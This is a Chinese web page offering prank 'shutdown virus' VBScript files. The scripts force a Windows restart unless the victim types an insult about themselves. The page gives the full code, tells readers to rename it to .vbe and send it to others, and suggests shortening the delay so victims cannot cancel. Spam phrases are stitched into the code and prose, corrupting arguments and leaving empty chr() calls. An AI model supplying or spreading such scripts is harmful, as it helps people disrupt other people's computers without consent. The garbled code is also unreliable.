1.vbe 关机病毒谁能给我发几个呀？
2.vbe格式的机源机关机程序

vbe 关机病毒谁能给我发几个呀？

       保存一下代码为后缀名为vbs的 文件 双击，你也可以恶搞他：

       on error resume next

       dim WSHshellA

       set WSHshellA = wscript.createobject("wscript.shell")

       WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是码关猪，不说我是代码猪就一分钟关你机，不信，机源机免费夹娃娃源码试试···"" ",码关0 ,true

       dim a

       do while(a <> "我是猪")

       a = inputbox ("说我是猪,就不关机，快撒，代码医患互动 java源码说 ""我是机源机猪"" ","说不说","不说",,)

       msgbox chr() + chr() + chr() + a,0,"MsgBox"

       loop

       msgbox chr() + chr() + chr() + "早说就行了嘛"

       dim WSHshell

       set WSHshell = wscript.createobject("wscript.shell")

       WSHshell.run "cmd.exe /c shutdown -a",0 ,true

       msgbox chr() + chr() + chr() + "哈哈哈哈，真过瘾"

       然后保存。码关再把扩展名改为vbe 发给别人他打开就重启了，代码

       WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是机源机猪，不说我是码关猪就一分针关你机，不信，代码试试···"" ",机源机推广海报 php源码0 ,true

       去掉这行就不再重启了 不然就开始->运行->shutdown -a

       还可以把这行

       WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是猪，不说我是码关猪就一分针关你机，不信，代码试试···"" ",正数源码算术移位0 ,true

       改成WSHshellA.run "cmd.exe /c shutdown -r -t 1 -c ""说我是猪，不说我是猪就一分针关你机，不信，试试···"" ",比心直播源码0 ,true

       保存后发还给他，叫他运行，他想叫自己是猪的机会都没有就重启了。

vbe格式的关机程序

       先打开我的电脑 工具 文件选项 查看

        隐藏已知文件类型拓展名 前面勾去掉

       然后新建个TXT的文档把下面的复制下去

       在把后面的.txt改成.vbe就好了

       on error resume next

        dim WSHshellA

        set WSHshellA = wscript.createobject("wscript.shell")

        WSHshellA.run "cmd.exe /c shutdown -r -t -c ""来叫声猪`不叫给你重启 不信咱来试试 “猪” ···"" ",0 ,true

       dim a

        do while(a <> "猪")

        a = inputbox ("哎╮(╯▽╰)╭`快叫把,要不就关机，快点，叫 ","叫不叫？","不叫？",,)

        msgbox chr() + chr() + chr() + a,0,"MsgBox"

        loop

       msgbox chr() + chr() + chr() + "早说就行了嘛"

       msgbox chr() + chr() + chr() + "(*^__^*) 嘻嘻……"

       dim WSHshell

       set WSHshell = wscript.createobject("wscript.shell")

       WSHshell.run "cmd.exe /c shutdown -a",0 ,true

       msgbox chr() + chr() + chr() + "哈哈哈哈，乖"

       时间可以调

       还不会的话加我QQ